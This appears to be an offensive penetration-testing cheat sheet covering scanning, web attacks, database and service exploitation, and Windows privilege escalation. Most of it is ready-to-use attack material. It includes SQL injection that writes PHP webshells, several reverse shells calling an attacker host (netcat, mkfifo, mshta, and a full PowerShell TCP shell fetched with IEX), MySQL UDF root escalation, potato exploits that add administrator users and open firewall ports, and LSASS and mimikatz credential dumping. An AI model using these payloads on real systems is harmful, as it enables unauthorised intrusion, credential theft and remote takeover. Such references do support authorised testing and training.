Initial scan (TCP all ports + UDP, output to file)
nmap -sT -p- -T4 <IP> -oN WSXX.nmap sudo nmap -sU -T4 <IP> -oN WSXX.udp.nmap
WSXX with machine/host name (e.g. WS01). TCP: connect scan all ports; UDP: requires sudo.Scan Types
nmap <IP> port/port-range sudo nmap -sS <IP> # Stealth SYN scan nmap -sT <IP> # Full TCP connect scan sudo nmap -sU <IP> # UDP scan sudo nmap -sU -sS <IP> # Combo TCP/UDP
Quick scan (top 100 ports, no ping)
nmap -Pn -F <IP> sudo nmap -Pn -F --min-rate 5000 <IP>
Full scan (all ports + version + default scripts)
sudo nmap -sV -sC -p- -Pn --min-rate 5000 <IP>
Network Discovery
nmap -sn 192.168.50.1-253 # Network Sweep nmap -sT -A <IP> # Service & Script Scan nmap -sV -A <IP> # Service Scan
Detection & Scripts
sudo nmap -O <IP> --osscan-guess # OS detection nmap -sV <IP> # Service detection sudo nmap -sV -p 443 --script "vuln" <IP> # Vuln script scan nmap -v -sn 192.168.50.1-253 -oG ping-sweep.txt # Export greppable
NSE Scripts
ls /usr/share/nmap/scripts/ nmap --script-help http-headers nmap --script http-headers <IP>
Gobuster
gobuster dir -u <URL> -w <DIRLIST> -t 200 -k -r gobuster dir -u https://<URL> -w <DIRLIST> -t 50 -k -r gobuster vhost -u <URL> -w <DIRLIST> --append-domain -t 200
Feroxbuster (HTTP)
feroxbuster -u <URL> -w <DIRLIST> -x php,html,txt -v --filter-status 404 feroxbuster -u <URL> -w <DIRLIST> -x php,html,txt --filter-status 404 --filter-size 0 feroxbuster -u <URL> -w <DIRLIST> -k
Feroxbuster (HTTPS, slower to avoid errors)
feroxbuster -u <URL> -w <DIRLIST> -k -t 10 -x php,html,txt --filter-status 404 feroxbuster -u <URL> -w <DIRLIST> -k -t 5 --filter-status 404,403 --filter-size 1234 # -t = threads (lower = fewer TLS/connection errors), -k = insecure TLS. URL = full base (e.g. https://host:port/)
FFUF
ffuf -u "<URL>?id=FUZZ" -w <WORDLIST> ffuf -u <URL>/FUZZ -w <DIRLIST> -mc 200,301,302 -fs 0 ffuf -u <URL>/FUZZ -w <DIRLIST> -mc 200 -fs 1234
Detection - Basic Tests
' '' ' OR 1=1 -- // ' OR '1'='1 " OR "1"="1 ' OR 1=1 # admin'-- %' AND '1'='1' -- -
Auth bypass / user enumeration (OR 1=1 + LIKE)
id check with or 1=1; filter by username with AND user LIKE "%root%" to find admin-like users.-- Injected query (e.g. id=1 becomes): SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" -- Parameter payload (string context): 1 or 1=1 AND user LIKE "%root%" -- Or in quoted param: 1' or 1=1 AND user LIKE "%root%" -- //
Identify DBMS
| DBMS | Version Query | Comment Style |
|---|---|---|
| MySQL | @@version or version() | -- or # |
| MSSQL | @@version | -- |
| PostgreSQL | version() | -- |
| Oracle | SELECT banner FROM v$version | -- |
UNION-Based - Find Column Count
' ORDER BY 1 -- // ' ORDER BY 2 -- // ' ORDER BY 3 -- // -- Increase until error; last valid = column count
UNION-Based - Placeholders (identify displayed columns)
# LIKE clause context (WHERE name LIKE '%[INJECTION]'): %' UNION SELECT 'a1','a2','a3','a4','a5' -- // # Standard context; use 'a1','a2'... to see which columns render, then replace with data ' UNION SELECT 'a1','a2','a3','a4','a5' -- // -- Reduce columns until no error; or start with many and decrease
UNION-Based - Data Extraction
' UNION SELECT null, database(), user(), @@version, null -- // ' UNION SELECT null, table_name, column_name, table_schema, null FROM information_schema.columns WHERE table_schema=database() -- // ' UNION SELECT null, username, password, null, null FROM users -- //
Blind - Boolean & Time Based
-- Boolean ' AND 1=1 -- // -- True ' AND 1=2 -- // -- False -- Time-based MySQL ' AND IF(1=1, SLEEP(3), 0) -- // -- Time-based MSSQL '; WAITFOR DELAY '0:0:3' -- -- Time-based PostgreSQL ' AND pg_sleep(3) -- //
Write File / Webshell (MySQL)
# Requires FILE privilege, secure_file_priv not restrictive. Adjust path (Linux/Windows). # Raw SQL ' UNION SELECT '<?php system($_GET["cmd"]);?>', null, null INTO OUTFILE '/var/www/html/s.php' -- // ' UNION SELECT null, null, null INTO OUTFILE '/var/www/html/s.php' LINES TERMINATED BY '<?php system($_GET["c"]);?>' -- // # Injected into existing params (URL-encoded). Example: param=value;(SELECT+...INTO+OUTFILE+"/var/www/html/s.php")+--+ view=request&request=log&task=query&limit=100;(SELECT+"<?php+system($_GET['cmd']);?>"+INTO+OUTFILE+"/var/www/html/s.php")+--+ # Windows path example ' UNION SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE 'C:\\xampp\\htdocs\\s.php' -- //
Basic Payload
<script>alert(42)</script>
HttpOnly flag prevents JS cookie access. If not set, steal cookies via XSS.
XSS → NTLM theft (admin bot / ticket system)
# Payload in comment/ticket (replace with your IP): <img src="http://<LHOST>/test.jpg" /> # On your Kali: sudo responder -I tun0 # When the bot loads the page, Responder captures the hash. Crack with hashcat.
Use JS Compress to minify payloads for length bypass.
PHP Wrappers
# php://filter - Read source
?page=php://filter/convert.base64-encode/resource=index.php
echo BASE64 | base64 -d
# data:// - Inline PHP
?page=data://text/plain,<?php system($_GET['c']); ?>&c=id
# php://input - Execute POST data
curl -X POST --data "<?php system('id'); ?>" "http://<IP>/?page=php://input"Log Poisoning
# Poison log via User-Agent curl -A "<?php system(\$_GET['c']); ?>" http://<IP>/ ?page=/var/log/apache2/access.log&c=id
RFI
echo '<?php system($_GET["c"]); ?>' > s.php python3 -m http.server 80 ?page=http://<LHOST>/s.php&c=id
Wrapper Requirements
| Wrapper | Requirement |
|---|---|
| php://filter | Always available |
| data:// / http:// | allow_url_include=On |
| expect:// | expect extension |
Extension Bypasses
| Technique | Example |
|---|---|
| Case manipulation | shell.pHP, shell.PhP |
| Alt extensions | .php3, .php5, .phtml, .phar, .pht, .phps, .phpt, .pgif, .phtm, .inc |
| Null byte | shell.php%00.jpg (PHP < 5.3.4) |
| Double extension | shell.php.jpg |
| Reverse double ext | shell.php.jpg (Apache misconfig) |
| Windows trailing dots | file.php...... – Windows strips trailing dots, becomes file.php |
| Special chars | shell.php;.jpg (IIS), file.php/, file.php.\, file.j\sp |
| Whitespace/newline | file.php%20, file.php%0d%0a.jpg |
| RTLO | name.%E2%80%AEphp.jpg → name.gpj.php |
Content Validation Bypasses
Content-Type: image/jpeg
GIF89a<?php system($_GET['c']); ?>
exiftool -Comment='<?php system($_GET["c"]); ?>' img.jpg -o shell.php.jpg
exiftool -Comment="<?php echo file_get_contents('/path/to/secret'); ?>" img.jpg -o shell.php.jpgMagic Bytes
| Format | Bytes |
|---|---|
| PNG | \x89PNG\r\n\x1a\n |
| JPG | \xff\xd8\xff |
| GIF | GIF87a or GIF89a |
Magic byte file creator
PDF Magic Byte Bypass
# Prepend PDF magic bytes so server accepts as PDF; PHP still executes (e.g. PG Amaterasu).
# Create: %PDF- then your PHP. Hex: 25 50 44 46 2D = %PDF-
echo -n '%PDF-' > shell.pdf
echo '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; system($_REQUEST["cmd"]); echo "</pre>"; die; }?>' >> shell.pdf
# Upload as .pdf; call: /path/shell.pdf?cmd=idConfig Files
| Server | File | Use |
|---|---|---|
| Apache | .htaccess | AddType application/x-httpd-php .jpg then upload shell.jpg |
| IIS | web.config | Execute handler override |
| uWSGI | uwsgi.ini | @(exec://whoami) for RCE |
.htaccess Override
# Upload .htaccess with: AddType application/x-httpd-php .jpg # Then upload shell.jpg # Bypass .htaccess upload block: use custom extension AddType application/x-httpd-php .htaccessbypass # Then upload shell.htaccessbypass
Apache misconfig checks
# Server status (may leak URLs / tokens) http://<IP>/server-status # Source / config leaks http://<IP>/.git/ http://<IP>/.env # CGI-bin (Shellshock, command injection via params) gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -x pl,sh,cgi # Nikto for Apache misconfigs nikto -h http://<IP>
WebDAV (PUT upload)
davtest -url http://<IP>/ # Or: curl -T shell.php http://<IP>/shell.php
Default credentials (quick check)
# Common: admin/admin, tomcat/s3cret, root/password, guest/guest # Jenkins: admin/admin or jenkins/jenkins # Tomcat Manager: tomcat/s3cret, admin/admin # WordPress: admin/admin. Google "[Software] default credentials"
Command Separators
| Operator | Linux | Windows |
|---|---|---|
; | Sequential | Sequential |
| | Pipe | Pipe |
|| | If fails | If fails |
& | Background | Background |
&& | If succeeds | If succeeds |
%0a | Newline | Newline |
Filter Bypasses
| Filter | Linux Bypass | Windows Bypass |
|---|---|---|
| Space | $IFS ${IFS} < %09 | %09 |
| Keyword | w'h'o'a'm'i who$()ami | who^ami |
| Slash | ${HOME:0:1} | N/A |
| Semicolon | %0a %0d | %0a |
Eval / code injection detection
param="somestring") → likely eval/code context. Try passing os, sys to confirm.# RCE (e.g. Python): POST param='os.system("nc <LHOST> <LPORT> -e /bin/bash")' to vulnerable endpoint
curl -i --data 'code=os.system("nc <LHOST> <LPORT> -e /bin/bash")' http://<IP>:<PORT>/verifyPHP strcmp auth bypass - php type juggling
# If login uses strcmp($_POST['password'], $pass)==0: send password[]=x (array makes strcmp return null, null==0) username=admin&password[]=x
Enumeration
sudo nbtscan -r 192.168.50.0/24 nmap --script smb-enum-shares,smb-enum-users -p 445 <IP>
List & Connect to Shares
smbclient) uses -L / -U. Impacket uses USER:PASS@IP (no -L -U). If smbclient is Impacket, use impacket-smbclient syntax.# Samba (native) smbclient -L //<IP>/ -U '<USER>%<PASS>' smbclient //<IP>/share -U '<USER>%<PASS>' smbclient //<IP>/share -U <USER> --pw-nt-hash <NTHASH> # Impacket (target = USER:PASS@IP or USER:PASS@IP/share) impacket-smbclient <USER>:<PASS>@<IP> impacket-smbclient <USER>:<PASS>@<IP>/share impacket-smbclient -hashes :<NTHASH> <USER>@<IP>
Download All Files
# Inside smbclient PROMPT off mget * # Or with nxc nxc smb <IP> -u '<USER>' -p '<PASS>' -M spider_plus -o DOWNLOAD_FLAG=True
-U '' -N. Commands can be run with -c 'cmd' or interactively.rpcclient (anonymous)
rpcclient -U '' -N <IP> -c 'enumdomusers' rpcclient -U '' -N <IP> -c 'enumdomgroups' rpcclient -U '' -N <IP> -c 'querydispinfo' rpcclient -U '' -N <IP> -c 'lsaquery' # With creds: rpcclient -U '<USER>%<PASS>' <IP> -c 'enumdomusers' # Interactive: rpcclient -U '' -N <IP> then type enumdomusers, enumdomgroups, querydispinfo, lsaquery
Impacket lookupsid (SID / users)
impacket-lookupsid anonymous@<IP> -no-pass
Quick Lookup
host www.<DOMAIN> host -t mx <DOMAIN> host -t txt <DOMAIN> host -t aaaa <DOMAIN>
Windows (nslookup)
nslookup mail.<DOMAIN> nslookup -type=TXT info.<DOMAIN> <IP>
Subdomain Bruteforce
for ip in $(cat list.txt); do host $ip.<DOMAIN>; done dnsrecon -d <DOMAIN> -t std dnsrecon -d <DOMAIN> -D ~/list.txt -t brt dnsenum <DOMAIN>
Get All Files
# Inside ftp/smbclient PROMPT off mget *
Bruteforce
hydra -L users -P <WORDLIST> ftp://<IP> -e nsr
Bruteforce Communities
onesixtyone -c community.txt -i ips.txt
Full Walk
snmpwalk -c public -v1 -t 10 <IP>
Quick Enum
| Target | Command |
|---|---|
| Users | snmpwalk -c public -v1 <IP> 1.3.6.1.4.1.77.1.2.25 |
| TCP Ports | snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.6.13.1.3 |
| Processes | snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2 |
| Software | snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.6.3.1.2 |
NET-SNMP-EXTEND-MIB
sudo download-mibs sudo sed -i 's/^mibs :/#mibs :/' /etc/snmp/snmp.conf snmpwalk -v1 -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull -t 64 snmpwalk -v1 -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendCommand -t 64
Connect
nc -nv <IP> 25
Verify User Exists
VRFY user
User Enumeration
smtp-user-enum -U /usr/share/wordlists/metasploit/unix_users.txt <IP> 25
Bruteforce
hydra -l operator -P <WORDLIST> <IP> smtp
Connect
mssqlclient.py <DOMAIN>/<USER>:<PASS>@<IP> mssqlclient.py <DOMAIN>/<USER>:<PASS>@<IP> -port 1433 -windows-auth
Enum Commands
enum_db -- enum databases enum_links -- enum linked servers enum_impersonate -- check logins that can be impersonated enum_logins -- enum login users
xp_cmdshell Enable + RCE
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';
Read Arbitrary File (OPENROWSET)
SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;
Execute on Linked Server
EXEC ('SELECT @@version') AT DC01;
EXEC [DC01].master.dbo.xp_cmdshell 'whoami';NTLM Capture via xp_dirtree
# On attacker: sudo python3 Responder.py -I tun0 # On MSSQL: EXEC master..xp_dirtree '\\<LHOST>\share';
NXC
nxc mssql <IP> -u <USER> -p '<PASS>' --local-auth -x whoami nxc mssql <IP> -u <USER> -p '<PASS>' --local-auth -M mssql_priv
Connect & Dump
# Try unauthenticated root first mysql -u root -h <IP> mysql -h <IP> -u <USER> -p<PASS> mysql -h <IP> -u <USER> -p<PASS> -e "SHOW DATABASES;" mysql -h <IP> -u <USER> -p<PASS> -e "USE db; SHOW TABLES; SELECT * FROM users;" mysqldump -u root -p --all-databases > alldb.sql
Safe Mode (Bypass Auth)
sudo mysqld_safe --skip-grant-tables --skip-networking & sudo mysql
MySQL as root + UDF (do_system) — full steps
do_system() runs as root). You need root (or high-priv) MySQL access. Target must be Linux; use raptor_udf2.so for the target arch (e.g. from Metasploit data dir or searchsploit).1. Get the UDF library on the target
# Attacker: locate .so (match target arch — 32 or 64 bit) # Metasploit: ls /usr/share/metasploit-framework/data/exploits/mysql/ # Or: searchsploit mysql udf | search for raptor / lib_mysqludf # Copy raptor_udf2.so to a path the MySQL process can read (e.g. /tmp/) # Use existing LFI, SSH, web upload, etc. Example via MySQL from another writable path: # If you have INTO OUTFILE elsewhere: write hex then xxd -r -p, or transfer via other means.
2. Find plugin directory
mysql -u root -p -h <IP> mysql> SELECT @@plugin_dir; # Example result: /usr/lib/mysql/plugin/ — use this exact path below.
3. Load .so into plugin_dir and create function
mysql> use mysql;
mysql> CREATE TABLE foo(line BLOB);
mysql> INSERT INTO foo VALUES(LOAD_FILE('/tmp/raptor_udf2.so'));
mysql> SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';
# ↑ Use the path from step 2; INTO DUMPFILE writes raw bytes (no escaping).
mysql> CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';4. Execute commands as MySQL user (root)
mysql> SELECT do_system('chmod u+s /bin/bash');
# Then on the target (shell):
/bin/bash -p
# Or one-shot: SELECT do_system('id > /tmp/out; chown www-data.www-data /tmp/out'); then \! cat /tmp/out5. Cleanup (optional)
mysql> DROP FUNCTION do_system; mysql> DROP TABLE mysql.foo;
Connect & Enum
mongosh <IP>:27017 show dbs use admin db.system.users.find()
Connect
ssh -i id_rsa <USER>@<IP> sshpass -p "<PASS>" ssh <USER>@<IP> ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no <USER>@<IP> chmod 600 id_rsa
Key pair
ssh-keygen -t ed25519 ssh-keygen -t rsa -b 4096
nxc Key Spray
nxc ssh targets.txt -u <USER> --key-file id_rsa nxc ssh targets.txt -u <USER> --key-file id_ecdsa --port 2222
Connect
xfreerdp /u:<USER> /p:'<PASS>' /v:<IP> /cert:ignore xfreerdp /u:<USER> /pth:<NTHASH> /v:<IP> /cert:ignore xfreerdp /u:<USER> /p:'<PASS>' /v:<IP> /drive:share,/tmp +clipboard /cert:ignore
Enable RDP
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
Connect
evil-winrm-py -i <IP> -u <USER> -p '<PASS>' evil-winrm-py -i <IP> -u <USER> -H <NTHASH>
Enable WinRM
Enable-PSRemoting -Force Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force
Enum & Mount
showmount -e <IP> sudo mount -t nfs <IP>:/remote /local rpcinfo <IP>
no_root_squash privesc
(rw,no_root_squash), the server trusts root on the client. Mount from Kali as root, copy bash and set SUID, run it on the target.# On Kali (as root): sudo mount -t nfs <IP>:/share /mnt cp /bin/bash /mnt/rootbash chmod +s /mnt/rootbash sudo umount /mnt # On target (as low-priv user): ./rootbash -p # or from mounted path
Unmount
sudo umount <IP>:/nfsroot
Connect
nc -nv <IP> 110
Bruteforce
hydra -l <USER> -P <WORDLIST> <IP> pop3
Connect
# Try unauthenticated postgres psql -h <IP> -U postgres -p 5437 psql -h <IP> -p 5432 -U <USER>
Useful Commands
\l # list databases \c dbname # connect to database \dt # list tables \d tablename # describe table
RCE via COPY TO PROGRAM (superuser)
COPY (SELECT '') TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <LHOST> <LPORT> >/tmp/f';
CVE-2019-9193 (RCE, auth bypass)
# PostgreSQL < 12.17, 13.12, 14.9, 15.4, 16.1 # python3 script.py -i <IP> -p 5432 -U postgres -P <PASS> -c "command"
List Modules
rsync -av rsync://<IP>/
Download
rsync -av rsync://<IP>/module/ ./local/
Find Databases
find / -type f \( -iname "*.db" -o -iname "*.sqlite" -o -iname "*.sqlite3" \) 2>/dev/null
Examine (Linux)
sqlite3 database.db .tables .schema tablename SELECT * FROM users; .quit
Examine (Python)
python3 -c "import sqlite3; c=sqlite3.connect('db.db').cursor(); print([r[0] for r in c.execute('SELECT name FROM sqlite_master WHERE type=\"table\"')])"Check Version & JNI RCE (H2 1.4.x, EDB-49384)
-- Check version
SELECT H2VERSION() FROM DUAL;
-- JNI RCE (whoami)
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');
-- Reverse shell via mshta
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("mshta http://<LHOST>:8000/revshell.hta").getInputStream()).useDelimiter("\\Z").next()');
-- Windows: download nc then exec (host nc.exe on SMB/HTTP, then)
CALL JNIScriptEngine_eval('java.lang.Runtime.getRuntime().exec("curl http://<LHOST>/nc64.exe -o C:\\Users\\Public\\nc.exe")');
CALL JNIScriptEngine_eval('java.lang.Runtime.getRuntime().exec("C:\\Users\\Public\\nc.exe <LHOST> <LPORT> -e cmd.exe")');User & System
whoami /all systeminfo Get-LocalUser Get-LocalGroup Get-LocalGroupMember Administrators
Network
ipconfig /all route print netstat -ano net view \\<IP> /all
Env & Writable Paths
Get-ChildItem Env:
$env:PATH
.\accesschk.exe -uwqs $env:USERNAME C:\ 2>$null | Where-Object {$_ -notmatch "C:\\Users\\$env:USERNAME"}
icacls . /T 2>$null | sls -Pattern "everyone|authenticated users|$env:USERNAME"Apps & Processes
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
reg query HKLM /f password /t REG_SZ /s
Get-Process
tree /A /F
Get-ChildItem -Force
Get-ChildItem -Recurse -Force | ForEach-Object { $_.FullName }Services
$k=... one-liner prints service name + path for each entry.reg query HKLM\SYSTEM\CurrentControlSet\Services /s /v ImagePath | findstr /ri ":\\ %systemroot% %programfiles% %windir%"
reg query HKLM\SYSTEM\CurrentControlSet\Services /s /v ImagePath | Select-String -Pattern "GPGService|findme2|HKEY" | ForEach-Object { if ($_ -match "HKEY") { $svc = $_.Line.Split("\")[-1] } else { "$svc : $_" } }
$k=""; reg query HKLM\SYSTEM\CurrentControlSet\Services /s /v ImagePath | % { if($_ -match "^HKEY_LOCAL_MACHINE"){ $k=$_ -replace ".*Services\\",""} elseif($_ -match ":\\" -or $_ -match "%ProgramFiles%"){ "{0,-40} {1}" -f $k, ($_ -replace "^\s+ImagePath\s+REG_\w+\s+","") } }
sc.exe sdshow SERVICENAME
icacls "path"
# accesschk: services current user can modify (replace <USER> with username)
.\accesschk.exe -cuwqv "<USER>" * /accepteulaProcess Monitor (pspy-like)
$o=@();while(1){$n=ps;$new=$n|?{$_.Id -notin $o.Id};if($new){$new|%{Write-Host "[$(date -f 'HH:mm:ss')] PID:$($_.Id) $($_.Name) $($_.Path)" -ForegroundColor Cyan}};$o=$n;sleep 1}Automated Tools
# WinPEAS iwr -uri http://<LHOST>/winPEASx64.exe -Outfile winPEAS.exe && .\winPEAS.exe # No colors? Enable VT in console (then reopen shell): reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 # PowerUp iwr -uri http://<LHOST>/powerup.ps1 -Outfile powerup.ps1 powershell -ep bypass . .\PowerUp.ps1 Invoke-AllChecks # Seatbelt .\Seatbelt.exe -group=all # JAWS (Just Another Windows (Enum) Script) powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
SeImpersonatePrivilege
FullPowers.exe to restore token then use potato, or use RunasCs.exe with the svc account password and --logon-type 5 --bypass-uac for a new reverse shell.Quick Decision: SweetPotato First
.\SweetPotato.exe -p cmd.exe -a "/c whoami" # Or msfvenom shell (over evil-winrm): generate exe, upload, then run as SYSTEM: .\SweetPotato.exe -p C:\Windows\Temp\shell.exe -a ""
Potato Variants
| Exploit | OS Support | Command |
|---|---|---|
| SweetPotato | Win 7-11, Server 2008-2022 | SweetPotato.exe -p cmd.exe -a "/c whoami" |
| JuicyPotato | Win 7-8, Server 2008-2016 | .\JuicyPotato.exe -l 1337 -p cmd.exe -t * |
| PrintSpoofer | Win 10, Server 2016-2019 | PrintSpoofer.exe -i -c cmd |
| GodPotato | Win 8-11, Server 2012-2022 | GodPotato.exe -cmd "cmd /c whoami" (needs .NET) |
| SigmaPotato | Win 10-11, Server 2016-2022 | SigmaPotato.exe "whoami" |
Check .NET Versions (for GodPotato)
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse |Get-ItemProperty -name Version,Release -EA 0 |Where { $_.PSChildName -match '^(?!S)\p{L}'} |Select PSChildName, Version, ReleaseTypical Flow (e.g. over evil-winrm)
# Attacker: msfvenom + handler msfvenom -p windows/x64/meterpreter/reverse_http LHOST=<LHOST> LPORT=443 -f exe -o shell.exe # Start HTTP or upload via evil-winrm. msf: use multi/handler, set payload, LHOST, LPORT, run # On target (evil-winrm): upload potato + shell, then execute as SYSTEM upload SweetPotato.exe upload shell.exe C:\Windows\Temp\shell.exe .\SweetPotato.exe -p C:\Windows\Temp\shell.exe -a "" # If SweetPotato fails: PrintSpoofer → GodPotato → SigmaPotato # LOCAL SERVICE shell: (1) certutil/wget FullPowers.exe, then .\fullpowers.exe -c "nc <LHOST> <LPORT> -e cmd.exe" for new shell with SeImpersonate # (2) Or if you have the svc account password: RunasCs with logon-type 5 (service) and bypass-uac: .\RunasCs.exe '<svc_acc>' '<PASS>' powershell.exe -r <LHOST>:<LPORT> --logon-type 5 --bypass-uac
PrintSpoofer64
.\PrintSpoofer64.exe -c "C:\Windows\System32\cmd.exe /c powershell IEX(iwr http://<LHOST>/s.ps1 -usebasicparsing)"
s.ps1 is a PowerShell reverse shell script hosted on your HTTP server at http://<LHOST>/s.ps1. The LHOST/LPORT inputs at the top of the page will auto-fill the IP/port in the template below.# s.ps1 (PowerShell reverse shell; save on attacker HTTP server)
$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()GodPotato - LaZagne (dump hash then connect)
# On target (e.g. evil-winrm): upload LaZagne + GodPotato # Run LaZagne as SYSTEM to dump creds/hashes .\godpotato.exe -cmd "cmd /c C:\Users\Public\lazagne.exe" # From attacker: use Administrator hash (or password) depending on open ports nxc smb <IP> -u Administrator -H <NTHASH> evil-winrm-py -i <IP> -u Administrator -H <NTHASH> psexec.py -hashes :<NTHASH> Administrator@<IP> wmiexec.py -hashes :<NTHASH> Administrator@<IP>
GodPotato - WinRM (evil-winrm user)
.\godpotato.exe -cmd "cmd /c net user bob Password123! /add & net localgroup administrators bob /add" .\godpotato.exe -cmd "cmd /c net localgroup \"Remote Management Users\" bob /add" .\godpotato.exe -cmd "cmd /c net localgroup ""Remote Management Users"" bob /add" .\godpotato.exe -cmd "cmd /c net localgroup \"Remote Management Users\" bob /add" .\godpotato.exe -cmd "cmd /c reg add \"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f" .\godpotato.exe -cmd "cmd /c reg add \"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Listener\*+HTTP\" /v Port /t REG_DWORD /d 5985 /f" .\godpotato.exe -cmd "cmd /c reg add \"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Listener\*+HTTP\" /v Enabled /t REG_DWORD /d 1 /f" .\godpotato.exe -cmd "cmd /c winrm quickconfig -q & netsh advfirewall firewall add rule name=WinRM dir=in action=allow protocol=TCP localport=5985 & sc stop WinRM & ping 127.0.0.1 -n 5 > nul & sc start WinRM" # Connect with new user (from attacker) evil-winrm-py -i <IP> -u bob -p 'Password123!'
GodPotato - RDP user
.\godpotato.exe -cmd "cmd /c net user bob Password123! /add & net localgroup administrators bob /add & net localgroup "Remote Desktop Users" bob /add" .\godpotato.exe -cmd "cmd /c reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & netsh advfirewall firewall add rule name=RDP dir=in action=allow protocol=TCP localport=3389 & sc start TermService" # Connect with new user (from attacker) xfreerdp /u:bob /p:Password123! /v:<IP> /cert:ignore /dynamic-resolution +clipboard
SeDebugPrivilege
Dump LSASS → Mimikatz Offline
procdump.exe -accepteula -ma lsass.exe lsass.dmp # Transfer to attacker: mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
Direct Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
Meterpreter
meterpreter> migrate <lsass_pid> meterpreter> hashdump
SeBackupPrivilege
Local Machine: Dump SAM
reg save hklm\sam sam.hive reg save hklm\system system.hive
secretsdump.py -sam sam.hive -system system.hive LOCAL
DC: NetExec backup_operator Module
nxc smb <IP> -u <USER> -p '<PASS>' -M backup_operator # Downloads SAM, SYSTEM, NTDS.dit to /tmp/ secretsdump.py -ntds ntds.dit -system system.hive LOCAL
Robocopy (Read Files Bypassing ACLs)
robocopy /b "C:\Users\Administrator\Desktop" "C:\Users\user\Desktop"
SeRestorePrivilege
Overwrite utilman.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe /Y # Lock screen → click Ease of Access (Win+U) → SYSTEM shell
SeRestoreAbuse Tool
.\SeRestoreAbuse.exe "cmd /c net user pwned Pass1! /add && net localgroup administrators pwned /add"
SeLoadDriverPrivilege
# Load vulnerable Capcom.sys driver .\EopLoadDriver.exe System\CurrentControlSet\dfserv C:\path\Capcom.sys .\ExploitCapcom.exe
SeManageVolumePrivilege
Exploit (e.g. SeManageVolumeExploit + DLL hijack)
# 1) Get full control on C:\Windows (e.g. SeManageVolumeExploit.exe) # 2) DLL hijack: place malicious tzres.dll in C:\Windows\System32\wbem\ (msfvenom DLL), trigger e.g. systeminfo msfvenom -p windows/x64/meterpreter/reverse_http LHOST=<LHOST> LPORT=443 -f dll -o tzres.dll
How It Works
Path: C:\Program Files\My App\My Service\svc.exe Windows tries: C:\Program.exe C:\Program Files\My.exe C:\Program Files\My App\My.exe ← plant here if writable C:\Program Files\My App\My Service\svc.exe
PowerUp (Automated)
. .\PowerUp.ps1 Get-UnquotedService Write-ServiceBinary -Name 'SvcName' -Path "C:\Program Files\My App\My.exe"
Find Vulnerable Services
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """"
Exploit
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o My.exe iwr -uri http://<LHOST>/My.exe -Outfile "C:\Program Files\My App\My.exe" Start-Service -Name <svc>
PowerUp (Automated)
. .\PowerUp.ps1 Get-ModifiableServiceFile Install-ServiceBinary -Name 'svc' # creates admin john/Password123! # oscp safe ?
Find Modifiable Service Binaries
icacls for write/modify.Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# Registry: service name + ImagePath (paths with :\ or %ProgramFiles%)
$k=""; reg query HKLM\SYSTEM\CurrentControlSet\Services /s /v ImagePath | % { if($_ -match "^HKEY_LOCAL_MACHINE"){ $k=$_ -replace ".*Services\\",""} elseif($_ -match ":\\" -or $_ -match "%ProgramFiles%"){ "{0,-40} {1}" -f $k, ($_ -replace "^\s+ImagePath\s+REG_\w+\s+","") } }
icacls "C:\path\to\service.exe"Find what uses a file (process / task / service / autorun)
